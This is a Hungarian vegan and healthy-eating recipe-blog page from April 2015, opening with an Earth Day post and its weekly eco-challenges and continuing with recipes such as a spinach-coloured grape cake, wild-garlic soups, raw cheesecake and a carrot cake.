Tegnap, 2015. Április 22-én ünnepelte a 25. évfordulóját a magyarországi Föld napja mozgalom, és ez a 45. évfodulója volt a Föld napja világmozgalomnak ! :-) Ezt megünnepelvén hoztam nektek egy nagyon látványos és finom torta receptet, telis tele mindenféle "földi jóval". ;-) csoki krémes szőlő torta, zöld tésztával De előbb egy kicsit arról, mi is az a Föld Napja?! "Az első Föld napján, Denis Hayes amerikai egyetemista kezdeményezésére, 1970. április 22-én 25 millió amerikai emelte fel szavát a természetért. Ez a történelmi jelentőségű esemény az Egyesült Államokban - és az ország határain túl is - fontos változásokat hozott: az USA-ban szigorú törvények születtek a levegő és a vizek védelmére, új környezetvédő szervezetek alakultak, és több millió ember tért át ökológiailag érzékenyebb életvitelre. 1990-BEN VILÁGMOZGALOMMÁ VÁLT, és MAGYARORSZÁG AZ ELSŐK KÖZÖTT CSATLAKOZOTT. A kezdettől, 1970-től 2010-ig eltelt 40 évben a Föld napja világméretű megmozdulássá vált: több mint egymilliárd ember vesz részt valamilyen környezeti eseményen ezen a napon. A nemzetközi Föld Napja Hálózat 174 országban több mint 15 000 szervezettel dolgozik azon, hogy kialakítsák "az egyetlen eseményt, amelyet az egész világon egyszerre ünnepelnek, mindenféle származású, vallású és nemzetiségű emberek". Forrás: Föld Napja Alapítvány csoki krémes szőlő torta, zöld tésztával A Föld Napja Alapítvány meghirdette az évi egy helyett, a heti egy Föld napját, hogy egymást segítve váltsunk egy hosszú távon fenntartható életmódra! Mik is ezek a kihívások, melyek közül te is könnyedén választhatsz és megvalósíthatsz egyet, kettőt, vagy akár többet is??? 1.heti kihívás: Pihentesd a kocsit. Hetente legalább 3-szor mondj le az autóról, és helyette gyalogolj, bringázz, rollerezz vagy tömegközlekedj! 2.heti kihívás: Kisebb ökológiai lábnyom, heti 1 húsmentes nappal! 3.heti kihívás: Légy klímabajnok heti 3 vegán nappal! 4.heti kihívás: Éheztesd a kukát! (kevesebb ételt a kukákba) 5.heti kihívás: Komposztálj! 6.heti kihívás: Ne fogadj el nejlonzacskót a boltokban! Vászontáska, kosár, textiltasak... 7.heti kihívás: Igyál csapvizet, palackozott helyett! 8.heti kihívás: Használj környezetkímélő tisztítószereket! 9.heti kihívás: Kevesebb élelmiszer-kilométer: vegyél helyi termékeket, támogasd a helyi farmereket! 10.heti kihívás: Ültess haszonnövényeket! Bővebben a kihívásokról és arról, hogy hogyan tudjuk élhetőbbé tenni a bolygónkat, itt olvashattok: http://fna.hu/mittehetsz/hetikihivas csoki krémes szőlő torta, zöld tésztával És akkor vissza a recepthez... Habár jelenleg egyáltalán nincs szőlő szezon, és ez a szőlős torta egy másik, korábbi jellegzetes ír napra készült, amikor minden étel zöld színű volt nálunk, azért mivel már régóta ígérem, hogy megosztom veletek ezt a receptet, úgy gondoltam nem bánjátok, ha egy kicsit összekötöm a különböző eseményeket egy bejegyzésben. :-) A nyers csoki krémes szőlő tortának nem csak a dekorációja, de a tésztája is zöld színű. A krém pedig egy nyers csoki krém, ami tökéletesen kiegíszíti a szőlő ízét. A kivis és a szőlős torta között dilemmáztam, és végül ez lett belőle. :-) És, hogy hogyan is lehet egy süti tészta zöld színű egészségtelen mesterséges színezék nélkül??? Erre több válasz is lehetséges. Manapság elég sok receptet látni, ahol japán Matcha teával színezik a süteményeket. Egészséges, finom és igen szép zöld színt lehet kapni végeredményül. Azonban elég drága hozzávaló, egy átlagos desszerthez. Gondolkoztam mi mást használhatnék helyette? Kutatgattam, keresgéltem, és végül a spenót mellett döntöttem! Spenót az édességbe? :-o Igen, spenót az édességbe. :-) Egyáltalán nem érezni a spenót levelek ízét a tésztában, és nagyon szépen, természetes módon megszínezték a torta lapokat. Ha nem mondom meg mi van benne, észre sem lehet venni. ;-) Hát akkor nézzük ezt az igen látványos, egészséges, könnyen emészthető. tápanyagban gazdag, de magas kalóriatartalmú, nem mindennapi tortát! :-) csoki krémes szőlő torta, zöld tésztával HOZZÁVALÓK: a torta laphoz: - 150 g kókusz liszt - 150 g mandula liszt - 1 tk szódabikarbóna - 1 csipet Himalája só - 120 g Xilit / nyírfacukor vagy nádcukor (porcukorrá darálva) - 2 bio tojás - 1 frissen facsart citrom leve és héja reszelve (kezeletlen héjú citrom) - 200 ml kókusz tej - 1 marék friss spenót levél kb.0,5 dl vízzel összeturmixolva a krémhez: - kb.50 szem zöld szőlő leturmixolva + szőlőszemek a dekoráláshoz - 3 db érett avokádó húsa - 2 db érett banán - 30 g kókusz olaj - 50 g karob por vagy jó minőségű cukrozatlan kakaó por - 1 ek útifűmaghéj csoki krémes szőlő torta, zöld tésztával ELKÉSZÍTÉS:A torta lap száraz és nedves hozzávalóit külön-külön összekeverjük, majd az egészet összeöntjük, és egyneművé keverjük. Elővesszük a kapcsos torta formánkat, és kikenjük kókusz zsírral. (Én sütőpapírral is ki szoktam bélelni, biztos ami biztos alapon.;-) ) A sütőt előmelegítjük 180 °C -ra, majd 35 perc alatt készre sütjük a torta lapot. Miután elkészült, hagyjuk kihűlni a formában, majd vágjuk ketté vízszintesen, hogy két lapot kapjunk. A krémhez turmixoljuk le az érett és nyers avokádókat a banánokkal. Majd keverjük hozzá az előre leturmixult szőlőt, a kókusz olajat, a karob port és az útifűmaghéjat. alaposan keverjük össze, majd a krém egyik felével kenjük meg a két torta lap közötti részt, majd a torta tetejét is. Friss, felkarikázott szőlőszemekkel díszithetjük a nyers csoki krémes tortánkat. Tegyük a hűtőbe 2-3 órára, majd fogyaszthatjuk is a rendhagyó, glutén- és laktóz mentes szőlős édességünket! csoki krémes szőlő torta, zöld tésztával Táplálkozz, ne csak étkezz! Megjegyzés1: Nem vagyok rutinos torta készítő, de most már tudom, hogy sokkal mutatósabb lenne ez a recept is, ha magasabb lenne a torta szelet, azaz, ha 4 lapot készítettem volna. Ezért legközelebb dupla adag tésztát készítek, és 4 felé vágom a megsült torta tésztát. :-) Megjegyzés2: Ha pedig szezonális torta receptre vágytok, akkor itt egy korábbi epres avokádó krémes torta recept a Zöld Avocado gasztroblogról.
Kókuszos- és kakaós zabgolyók
2015. április 22. Éltető ételek
Ez a finomság nyugodtan bekerülhet a gyerekek uzsonnás dobozába. Csak ne áruljuk el nekik, hogy valójában zabkásából van, mert ugye az előítéletek... A gyerekeim minden reggel kását esznek, de kinyilatkozták, hogy 1 nap elég egyszer kása. Úgyhogy a második kása bizony rejtve marad ilyen finom kis gombóc formába. Hozzávalók: - 5 dkg nagyszemű zabpehely - 5 dkg kókuszreszelék - 1 kávéskanál vaníliapor - 3-4 puha datolya - kb. 1,5-2 dl víz - csipet himalája só - 1 evőkanál méz vagy juharszirup - kis marék dió Bevonat: - 1 teáskanál cukrozatlan kakaópor - 2 teáskanál kókuszvirágcukor Elkészítése: A zabpelyhet egy száraz serpenyőben pirítsuk meg. Figyeljünk, hogy nehogy megégjen, csak éppen annyira, hogy enyhén illatos legyen.Öntsük rá a vizet.Sózzuk, szórjuk bele a vaníliaport is, és tegyük bele az apró kockára vágott datolyát.Főzzük úgy 10 percig. Ezidő alatt jól szétfő a zabpehely.Vegyük le a tűzről, és keverjük hozzá a kókuszreszeléket, a mézet és a durvára vágott diót.Formázzunk kicsike gombócokat, és forgassuk meg a kókuszcukros kakaóporba.
"Csokis-kókuszos" briós
Mónika sok évvel ezelőtti bejegyzése alapján készültek a briósok. Ahogy olvasgattam a megjegyzéseket is, kicsit időutazás volt. :) Az általa leírt recept tökéletesen beleillett a képbe, minden összetevőből volt itthon, csak kicsit több lett benne a barna liszt, csoki helyett karobot tettem a tésztába, amivel nagyon finom lett, és kicsit több töltelékkel készítettem. Hozzávalók a tésztához: 80 dkg liszt (50 dkg tk tönköly, 30 dkg fehér) 5 dl növényi tej 15 dkg gyümölcscukor/eritrit 10 dkg kókuszzsír 2 dkg élesztő 1 tk só 2 dl cukros tejben felfuttatjuk az élesztőt. A száraz hozzávalókat elkeverjük, majd átdolgozzuk a kókuszzsírral. A végén beleöntjük a felfutott élesztőt is a maradék tejjel, és rugalmas tésztát gyúrunk belőle. Vékonyra nyújtjuk. Hozzávalók a töltelékhez: 1,5 dl növényi tej 15 dkg kókuszreszelék 5 dkg kókuszzsír 2 ek karobpor 2 ek gyümölcscukor/eritrit vanília A növényi tejet felforraljuk, beleöntjük a cukrot, a karobport és a kókuszreszeléket némi vanília porral. A kinyújtott tésztán elkenjük a kókuszzsírt. A tésztát kb. 15x25-ös téglalapokra vágjuk, amiken egyenletesen eloszlatjuk a tölteléket, csak az alsó hosszabb oldalon hagyunk ki egy ujjnyi részt. A töltelékes oldala felől tekerjük a fedetlen rész felé csiga formába, majd újra csiga formába hajtjuk. Bő fél órát kelesztjük, majd újabb fél óra alatt közepes hőfokon megsütjük. Jó fotó nincs, az alany mind elfogyott. :)
Lestyános zellerkrémleves
2015. április 20. Éltető ételek
Tudjátok, hogy milyen fűszernövény a lestyán? Én csak nemrég ismerkedtem meg vele, annak ellenére, hogy ez egy igazi magyar fűszernövény és gyógynövény is. Évelő, a kertemben már most nagyon szépen megbokrosodott, egészen fagyokig gyűjthető. Hozzávalók: - 1 kis öklömnyi zeller - 2 közepes krumpli - 1 újhagyma - 1 gerezd fokhagyma - 1 kisebb sárgarépa - 3-4 levél lestyán és petrezselyemlevél - fél zöldségleveskocka - kevéske kókuszolaj - 1 evőkanál zabliszt - kevés zabtejszín - himalája só Elkészítése: - Minden zöldséget tisztítsuk meg, majd daraboljuk fel egyforma méretűre. - Egy lábasba tegyük a kókuszolajat, majd dobjuk rá a hagymát. Egy kevéske idő után mehet a többi zöldség is. Úgy 3-5 percig kavargassuk, majd szórjuk rá a lisztet. - Öntsük fel annyi vízzel, amennyi éppen ellepi. - Sózzuk meg, főzzük puhára. - Tegyünk mindent egy turmixba, és adjuk hozzá a zöld leveleket. - Turmixoljuk simára. - Öntsünk hozzá egy kevéske tejszínt és rottyantsunk egyet rajta.
Olajkímélő, sütőben sült spenótos bundáskenyér, friss piros zöldségsalátával (zöld menüsor Szent Patrik napon 3.rész)
2015. április 18. Zöld Avocado
Van az úgy, hogy az otthoni kenyér már nem eléggé friss... Esetleg maradt a korábban készített sokmagos házi kenyérből, és szívesen ennénk egy kis bundáskenyeret, de nincs túl sok időnk a konyában állni? Akkor ez a recept a tökéletes megoldás! :-) Korábban már készítettem itt a blogon bundáskenyeret házi padlizsánkrémmel, de most valami teljesen mást hoztam nektek! sütőben sült spenótos bundáskenyér A sütőben sült spenótos bundáskenyér ötlete valahogy így született... Megkívántuk a bundáskenyeret, de semmi kedvem nem volt a serpenyő mellett állni órakat, és a tojásban egyenként megforgatott kenyér szeleteket, egyenként kisütögetni a szanaszét fröcsögő olajban. Ráadásul amióta sokkal több nyers zöldséget és gyümölcsöt eszünk, jobban odafigyelünk a táplálkozásunkra, egyre kevésbé esnek jól a bő olajban sütögetett, nehéz ételek. Mostanában amit csak lehet, zsiradékmentesen, sütőben készítek el, így is elősegítve a könyedebb emésztést, a gyomorkímélő alacsony olaj bevitelt. Elgondolkoztam azon, mi is valójában a bundáskenyér? Kenyér és tojás. Semmi más. Hogy is lehetne ezt gyorsan, egészségesebben és zöldebben megoldani? Például így... ;-) HOZZÁVALÓK (4 személyre) :sült spenótos bundáskenyérhez: - kb. 200 g tömörebb, telt kenyér (pl.: teljes kiőrlésű tönkölybúza kenyér) - 8 tojás - 2 marék friss spenótlevél - 2 szál snidling / póréhagyma - Himalája só, frissen őrölt fekete bors - 4 ek szezámmag - tetejére plusz tápanyagtartalom: sörélesztő pehely és/vagy kendermag (elhagyható) - köretként friss roppanós saláta: paradicsom, pritamin paprika, retek, sárgarépa a piros salátához: Tetszés szerinti mennyiségben paradicsom, piros vastaghúsú pritamin paprika, sárgarépa és retek. "A spenót igen sok karotinoidot tartalmaz, például béta-karotint, ami az A-vitamin előanyaga. A lutein nevű antioxidáns hatású karotinoidból is sok van benne. Számos vizsgálat szerint a sötétzöld levélzöldségek rendszeres fogyasztása némi védelmet nyújt többféle rákbetegséggel szemben.A spenót hasznos folsavforrás is, ezért fogyasztása különösen ajánlott terhes nők számára, mivel segít megelőzni a velőcső-záródási rendellenességeket. A népi gyógyászatban spenótot ajánlottak magas vérnyomás, vérszegénység és székrekedés ellen. A spenót sok káliumot tartalmaz, ez az elem fontos szerepet játszik a vérnyomás szabályozásában. Tévhit, hogy a spenót sok vasat tartalmaz, viszont, ha nem magában hanem sok C-vitamint tartalmazó táplálékkal (pl. paradicsommal) fogyasztják, akkor a szervezet több vasat képes hasznosítani belőle." Forrás: vitamin.dynanix.com sütőben sült spenótos bundáskenyér, friss piros zöldségsalátával ELKÉSZÍTÉS: A kenyeret - szép magyar szóhasználattal élve - felkatonázzuk. A tojás egyik felét felverjük egy mélyebb tálban, a másik felét pedig összeturmixoljuk a megmosott friss spenót levelekkel. A snidlinget belekarikázzuk a sárga illetve a ,,zöld tojásba is. Mindkét tojást sózzuk, borsozzuk ízlés szerint, majd beleszórjuk a kenyér katonákat. Egyik felét a sárgába, másik felét a zöldbe. Jól belenyomkodjuk őket, hogy a kenyér katonáknak legyen lehetőségük felszívni a nyers tojást. A sütőt előmelegítjük 200°C fokra. Előveszünk egy kisebb jénai tálat, és kókuszzsírral vékonyan kikenjük. Az aljába öntjük a sárga snidlinges kenyérkockákat, megszórjuk a tetejét szezámmaggal, majd ráöntjük a zöld snidlinges kenyeret is. Betesszük a sütőbe, és kb. 15-20 perc alatt készre sütjük. Akkor van kész, ha a tojásból sült rántotta lesz. :-D Fogyasztás előtt szórjuk meg sörélesztő pehellyel a még jobb ízhatás és magasabb tápanyagtartalom érdekében. Elfér még rajta a kendermag is, de csakis közvetlen fogyasztás előtt. ;-) Sőt! Balázs mustárt tett a tetejére, és úgy fogyasztotta ezt a spenótos-sült bundáskenyeret. sütőben sült spenótos bundáskenyér mustárral és sörélesztőpehellyel a tetején Mint minden étel mellé, most is érdemes friss, roppanós zöldség salátát készíteni, mert nem csak könnyebben csúszik az étel, de az emésztést is elősegíti a nyers zöldség, akármit is fogyasztunk mellé. A nyers zöldségek magas víztartalmuknak köszönhetően élvezetesebb étkezést is biztosítanak. Ezúttal egy piros salátát dobtam össze a zöldes étel mellé. friss, piros, nyers zöldségsaláta A salátához a paradicsomot, piros vastaghúsú pritamin paprikát, a sárgarépát és a retket tetszés szerinti méretben feldarabolom, és egy tálban összekeverem. Kész is! Nem kell sem öntet, sem olaj rá, mert a természet már ellátta ízekkel, és folyadék tartalommal, csak adnunk kell egy esélyt az ízlelőbimbóinknak, hogy újra megszokják a természetes ízeket. ;-) sütőben sült spenótos bundáskenyér Tápanyagban gazdag, zsiradékban szegény, időtakarékos, zöld bundáskenyér készítést, majd fogyasztást kívánok mindenkinek! ;-) Megjegyzés: Úgy nőttem fel, hogy nálunk a spenót levelet önmagában, nyersen sosem fogyasztottuk. Spenót főzelékként pedig nem voltam hajlandó megenni. :-) Így gyakorlatilag spenót mentesen telt a gyerekkorom, pedig nyersen fogyasztva az egyik legtáplálóbb saláta zöldség, ami akár egy szendvicsbe is jól passzol. Felnőttként próbálom pótolni az elvesztegetett gyerekkori spenót bevitelt, és igyekszem Popey a tengerész nyomdokaiba lépni, úgyhogy ilyen-olyan formában szerves része az étkezéseinknek a friss spenót levél. ;-) Íme néhány korábbi recept, ami tartalmaz friss spenót levelet: nyers rakott káposzta, Fetás-mandarinos tészta saláta, vagy a bambuszrügyes kínai pirított rizs. És a spenót fogyasztás lehetséges alternatíváinak listája a jövőben folyamatosan bővül... Maradjatok velem! ;-)
Málnakrémes sajttorta
2015. április 15. Gréta konyhája
Tej-, tojás-, cukor-, gluténmentes, és még nyers is!
Január óta nem eszem cukrot, és most sem fogok, és még véletlenül sem csábulok el vendégségben, ha van egy ilyen is az asztalon.
Olyan egyszerű, és finom, hogy jó, ha dupla adaggal számoltok Ti is :))
Alaphoz:
-fél bögre mandula
-fél bögre kimagozott datolya
-csipet só
Ezt egy aprítóban pár percig ragadós masszává dolgozzuk, majd ha jól összeállt, akkor egy kisebb kapcsos tortaformába nyomkodjuk egyenletesen. Ez lesz a torta alja.
Sajtkrém+málnakrém:
-1 és fél bögre natúr kesudió, éjszakára beáztatva
-2 citrom leve
-1 ek vanília esszencia
-1/3 bögre nyers kókuszolaj
-1/3 bögre agavé szirup
-1 bögre málna
A kókuszolajat, és a szirupot, összeolvasztjuk, majd az összes hozzávalót, kivéve a málnát, egy nagy teljesítményű turmixgépbe tesszük, és pár percen át krémesre dolgozzuk. A krém 2/3-át kikanalazzuk és egyenletesen eloszlatjuk az alapon, majd hozzáadjuk a turmixgépben maradt masszához a málnát. Jól összeturmixoljuk, és a málnás krémet is ráöntjük a ,,sajtoskrém tetejére. Elegyengetjük, majd pár órára hűtőbe tesszük, hogy megdermedjen.
Levesszük a kapcsot, majd szép egyenletes szeletekre vágjuk, friss, egész málnaszemekkel tálaljuk.
Jó étvágyat!
4. heti menü
2015. április 14. Mindennapi ételeink
Bocsánat, kicsit csúszva írom a menüt, de ami késik, nem múlik :-) de jó hír, hogy itt a tavasz :-) HÉTFŐ R: Édes, sütőben sült vegán bundás kenyér, kiwi, lekvár E: Paradicsomos krumplifőzelék, "töltlék" V: Ebédmaradék KEDD R: Köleskása, dió/mák, szederlekvár, alma E: Lencsehurka, édesburgonyapüré, uborkasaláta V: Ebédről maradék SZERDA R: Kenyér, tofukőrözött E: Brokkoli krémleves, krumplis tészta V: Ebédről maradék CSÜTÖRTÖK R: Hajdinakása (reszelt almával), gesztenyepüré, meggybefőtt E: Csőben sült répa-cukkini, párolt kuszkusz, paradicsomsaláta tofuval V: Ebédről maradék PÉNTEK R: Tejbegríz, lekvár, banán E: "Lucskos káposzta" pászkagombóccal V: Főtt krumpli, hagyma, növényi tejföl, olívaolaj, újhagyma, retek SZOMBAT R: Granola müzli, növényi tej, banán, E: "Lucskos káposzta" pászkagombóccal, zabkeksz V: Kifli, virsli, mustár, saláta, paradicsom VASÁRNAP R: Zabkása, mandarin, olajos mag E: Gulyásleves, palacsinta (mákos, diós, növényi túrós) V: Zsemle, kókuszzsír, diókolbász, mustár
Mustáros-medvehagymás köles
2015. április 12. Éltető ételek
Imádom a kölest és a belőle készült ételeket is. Mivel tavasz van, így mindenképp tettem bele medvehagymát, ugyanakkor a brokkoli is a kedvencem, így ez sem maradhatott ki belőle. Persze, ha nincs medvehagyma, akkor bármilyen más zöldfűszer is kerülhet bele. Ezt az ételt többféleképpen is tálalhatjuk. Egyrészt, ha jól összetörjük, tejszínnel lazítjuk, akkor kenőke lehet. Egyszerűen köretként tálalva, jó sok zöldsalátával és falafellel...hmmm... Na és az eredeti verzió szerint, amikor is készítettem hozzá medvehagymás zöldborsó mártást. Ja... és grillezett gomba tölteléke is lehet. Úgyhogy a lehetőségek végtelenek. Hozzávalók (3 fő): - 1 csésze köles - 1 kisebb vöröshagyma - 1 gerezd fokhagyma - 4-5 szép brokkolirózsa - kis csokor friss medvehagyma - 1-2 teáskanál mustár - himalája só - (növényi) tejszín - kókuszolaj Elkészítése: A vöröshagymát és a fokhagymát egy pici kókuszolajon megfonnyasztjuk, majd hozzáadjuk a megmosott kölest, és felöntjük 2x mennyiségű, sós vízzel. Kb. 10 perc alatt megfőzzük, majd kiszedjük egy nagyobb tálba, és hagyjuk kihűlni. Időnként villával lazítsunk rajta.Vágjuk fel a medvehagymát és a brokkolit is igazán pici darabokra. Keverjük a köleshez. Adjuk hozzá a mustárt és fűszerezzük.Ha kenőkét szeretnénk, akkor lazítsuk tejszínnel.Itt gombócozva lett, majd sütőben megpirítva, és zöldborsómártással.
Medvehagymás szendvicskrém (vegán)
Húsvét előtt nátha döntött le a lábamról. Akkor készítettem ezt a medvehagymás szendvicskrémet, ami a gyógyuláshoz is nagyon jól jött, ugyanis a medvehagyma erőteljesebb íze miatt is a légút-tisztító hatását megtapasztalhattam. Akik kedvelik a pikáns, de krémes ízvilágot, azoknak érdemes készíteni egy adag medvehagymás szendvicskrémet. Egyszerűen kenyérre vagy bagettre kenve nagyon finom ráadásul egészséges, náthából lábadozóknak külön ajánlom.
A recept:
Hozzávalók:
1 csomag medvehagyma
1 bögre hajdina
1/2 tofu
1/3 bögre sörélesztő-pehely
só
1-2 ek kókuszzsír vagy olívaolaj
Elkészítés:
Az alaposan átmosott hajdinát felforraljuk, majd puhulni hagyjuk. Kb. negyed óra alatt magába szívja a vizet és teljesen megpuhul. Közben előkészítjük a többi hozzávalót: Egy turmixgép poharába belevágjuk a medvehagymát (pl. ollóval), belekockázzuk a tofut, hozzáadjuk a kókuszzsírt vagy olívaolajat, majd a megfőtt hajdinát, némi sót. Összeturmixoljuk. Kész is a szendvicskrém. A sörélesztőpelyhet elhagyhatjuk, ha teljesen gluténmentes krémet szeretnénk. Ha ez nem igény, akkor viszont érdemes beletenni, mert krémes, enyhén sajtos íze lesz tőle.
Zöldséges medvehagyma krémleves
2015. április 12. Éltető ételek
Most, a medvehagyma szezonban törekedjünk arra, hogy minél gyakrabban a tányérunkra kerüljön. Sajnos, itt Miskolc környékén nem tudok más medvehagyma lelőhelyet, mint a piac. Kétnaponta veszek 1-2 csokrot, és szinte minden ételbe belecsempészem. Most ezt elrejteni nem tudtam, mivel a zöld színe árulkodik a jelenlétéről. De bátran kóstoljátok meg, mindenféle tejszín nélkül is nagyon finom lett. Sok medvehagyma krémlevesbe zöldség alaplé kerül. Nos, nekem ilyen sosincs csak úgy a konyhában, így ebbe a levesbe kifejezetten belekerültek az ehhez szükséges zöldségek. Így ez sokkal krémesebbé és ízletesebbé tette a levest. Hozzávalók (4 fő): - 1 kis fej vöröshagyma - 2 közepes méretű krumpli - 1 sárgarépa - 1 petrezselyem gyökér - 1 kis szelet zeller - 1 kis csokor medvehagyma - 1 gerezd fokhagyma - só, bors - szerecsendió (elhagyható) - kevéske kókuszolaj Elkészítése: - A vöröshagymát vágjuk fel pici kockára, majd a kókuszolajon kezdjük el dinsztelni. Ahogy pucoljuk a zöldségeket, úgy dobjuk hozzá (persze, előtt daraboljuk fel kisebb méretűre) azokat. - Tehát folyamatos keverés mellett dinszteljük össze a zöldségeket. - Öntsük fel vízzel, sózzuk, borsozzuk és főzzük puhára. - Vegyük le a tűzről, és szórjuk bele a széttépkedett medvehagymát. Reszeljük bele a fokhagymát is. - Öntsünk mindent a turmixba, és csináljunk belőle jó krémes levest. Legalább 1 percig kell turmixolni, hogy a medvehagyma rostjait szétzúzzuk, és megszínezze az a levesünket. - Reszeljünk bele pici szerecsendiót.
Gyümölcsös reggeli
2015. április 10. Nyers konyha
Édes, gyümölcsös, puha és ropogós... Egy tál boldogsággal indítom a napot! 2 almát s késes aprítóval daraboltam, rákarikáztam egy banánt, elkevertem fahéjjal és egy kanál kókuszdarával. Szórtam rá fagyasztott málnát és aprított ropogós mandulát. Meglocsoltam kókusztejjel és már volt- nincs. Csupa lemondás ez a nyers evés! Az élet szép, illetve mindenkinek olyan amilyenné teszi...
Pikk-pakk kész, Gyümölcsös Kókuszgolyók, mindössze pár hozzávalóból (laktóz-, gluténmentes, vegán, nyers)
Ezek a gyorsan és egyszerűen elkészíthető nyers finomságok a Húsvét kedvéért tojás alakúak, de természetesen az év egyéb napjain, golyók formájában is ugyanolyan finomak, és mutatósak. ;-) gyümölcsös kókuszgolyók (nyers, vegán, mindenmentes) Mindössze 4+1 hozzávaló, pár perc gyurmázás, és készen is vannak ezek a színes, gyümölcsös, könnyen emészthető, glutén-, laktóz-, és cukormentes, vegán, tápanyagtól duzzadó, vitaminban és ásványi anyagban gazdag, nyers édesség falatkák, sütés, főzés és egyéb előkészületek nélkül! :-) Bármikor gyorsan elkészthetjük őket, ha pl.: váratlanul bejelentkeznek a rokonok vagy barátok, akik este betoppanának egy kis csevejre. Reméljük, hogy szeretik a kókuszt! ;-) Azt gondoltam, hogy könnyedén lehet tojás formákat készíteni, de hamar be kellett látnom, hogy egyáltalán nem egyszerű feladat! Vagy túl hengeres lesz, vagy csúcsos, vagy... egyáltalán nem hasonlít egy tojásra a kapott végeredmény! :-) Még jó, hogy legközelebb egyszerűen csak golyókat kell formáznom a nyers tésztából, mert az ízén nem változtat! :-D És hogy milyen az íze? Könnyed, puha, hűvös édesség, a választott gyümölcstől függően édesebb, vagy éppen savanykásabb kivitelben. Ha nagyon édes szájúak vagyunk használjunk éretebb, már barnuló banánokat alapanyagnak, és a választott szín, íz, azaz a gyümölcs is legyen édes gyümölcs pl.: sárgabarack. És akkor nézzük a recepteket! ;-) Gránátalmás, Sárgabarackos, és Kivis kókuszgolyók / tojások HOZZÁVALÓK: az alap "tésztához" - kókuszreszelék - mandula liszt / darált mandula - banán - útifűmaghéj A választott ízesítéstől, azaz a gyümölcstől függően változnak az alapanyagok mennyiségei. Minél lédúsabb a gyümölcs, annál több, szilárd anyag kell bele. Nézzük konkrétan azt a három receptet, amit én készítettem el. a gránátalmás kókusz golyóhoz (kb.20 darab) : - 80 g kókuszreszelék - 25 g mandula liszt - 2 érett banán - 1/2 ek útifűmaghéj - 1,5 közepes gránátalma a sárgabarackos kókuszgolyóhoz (kb.20 darab) : - 50 g kókuszreszelék - 25 g mandula liszt - 1 érett banán - 1/2 ek útifűmaghéj - 100 g jó minőségű aszalt sárgabarack (előre be kell áztatni vízbe) a kivis kókuszgolyóhoz (kb.20 darab) : - 80 g kókuszreszelék - 50 g mandula liszt - 2 érett banán - 1 ek útifűmaghéj - 4 db kemény kivi ELKÉSZÍTÉS: Keverj össze mindent, gyurmázz-formázz, tedd az egészet hűvösre, és hammm már fogyasztható is! :-) Egy kicsit részletesebben: a kókuszreszeléket, a mandula liszttel, és az útifűmaghéjjal (fontos, mert ez szívja magába a felesleges folyadékot) összekeverjüók egy tálban. A banánt, és a választott gyümölcsöt a turmixgépben pépessé turmixoljuk, majd a gyümölcs pépet a "száraz anyag" - gal összegyúrjuk. Tojásokat vagy golyókat formázunk, és betesszük 1-2 órára a hűtőbe, hogy jobban összeálljanak az alapanyagok. Természetesen hűtés nélkül is fogyasztható, de a tökéletesebb állag eléréséért javasolt egy kis pihenő a hidegben. Ha aszalt gyümölcsből készítjük az édességet pl.: sárgabarackból, akkor az aszalt gyümölcsöt áztassuk be egy kevés vízbe 2-3 órával a desszert elkészítése előtt. Majd öntsük le róla a vizet, mielőtt felhasználjuk a kipuhult aszalt gyümölcsöt. És ennyi! Ugye milyen egyszerű? Ez a rövidke hozzávaló lista, és elkészítési mód, mindjárt 3 különböző desszert receptet is tartalmazott! Ráadásul bárki könnyedén elkészítheti őket, különlegesebb konyhai tapasztalat nélkül! Sőt! Még akár a gyerekeket is bevonhatjuk a közös édesség készítésbe, ami ráadásul még egészséges is. Gyurmázásra fel! ;-) gyümölcsös kókuszgolyók (nyers, vegán, mindenmentes) Megjegyzés1: ha a kókuszreszelékünk nem elég apróra reszelt, daráljuk meg egy kicsit felhasználás előtt, hogy könnyedebben összeálljon a nyers tészta. Megjegyzés2: Az internet telis tele van kreatív ehető alkotásokkal, étel kreálmányokkal, vicces tálalásokkal. Megosztok pár húsvéti ötletet veletek, amit egyszer biztosan ki fogok próbálni, mert egyszerűek és mutatósak! :-) kelttésztából nyuszikáknyuszis palacsintanyuszis gyümölcstál
Nyuszis répatorta
A répatorta vegán, a nyuszis dekorációba beköszönt némi tejfehérje a Hulala által... Egy munkatársamnak immár a 4. gyermeke született meg, náluk voltunk látogatóban múlt hétvégén. A gyerekeknek készítettem ezt a tortát. (Nem vegán a család.) Életem első próbálkozása volt, hogy valami "gyerekes" témát kreáljak. Nyilván, ha marcipánból vágom ki a nyuszi tappancsait, füleit, stb., akkor sokkal szebb lett volna, de marcipán híján maradt a tejszínhab. Amit pedig a munkatársam kislányai nagyon szeretnek. Mi is készíthetünk húsvét alkalmából egy ilyen tortácskát. A rózsaszín habot eperrel (fagyasztott) színeztem, a barnához pedig karobport és kakaóport kevertem. Egyik esetben sem kellett plusz cukor vagy édesítő hozzá. A Hulala ugyanis elég édes magában is...
A recept:
Hozzávalók:
kb. 20 dkg reszelt sárgarépa
kb. 10 dkg reszelt alma
1 banán
1 bögre (2 dl) apró szemű zabpehely
1-2 evőkanál őrölt lenmag (áztassuk langyos vízben pár percet)
1 bögre (2 dl) durvára őrölt magok (dió, mogyoró, stb.), mák
1 tk szódabikarbóna
2 bögre datolya felaprítva, langyos vízben áztatva
1 tk fahéj
kb. 1 bögre teljes kiőrlésű liszt
kb. 1/2 bögre fehér liszt
2 ek olaj
1 narancs leve kicsavarva, héja lereszelve
víz
Elkészítés:
Az őrölt lenmagot kétszeres mennyiségű langyos vízbe beáztatjuk. A datolyát felaprítjuk és szintén kétszeres mennyiségű meleg vízbe beáztatjuk. A répát és almát, valamint a narancs megmosott héját lereszeljük. A száraz hozzávalókat - zabpehely, liszt, őrölt magok, szódabikarbóna - összekeverjük egy tálban. Hozzáadjuk a lereszelt almát és répát, a villával összenyomott banánt. Összekeverjük. A megpuhult datolyát a vízzel együtt ráöntjük, a lenmagot vízzel együtt ráöntjük, belecsavarjuk a narancsot, hozzáadjuk az előzőleg lereszelt héját. Olajat is ráöntjük, majd annyi vizet keverünk hozzá, amitől sűrű, de folyékony állagú lesz, mint pl. egy piskóta. Nagyon kevés fahéjat hozzákeverünk. Ha nem elég édes, banánnal vagy egyéb édesítővel tovább édesíthetjük. Tortaformában kb. 25 perc alatt készre sütjük. Sütőpapírral érdemes kibélelni a tortaformát. Ennek híján lehet kókuszzsírral kikenni és liszttel kicsit megszórni a formát, mielőtt az összekevet tésztát beleöntjük.
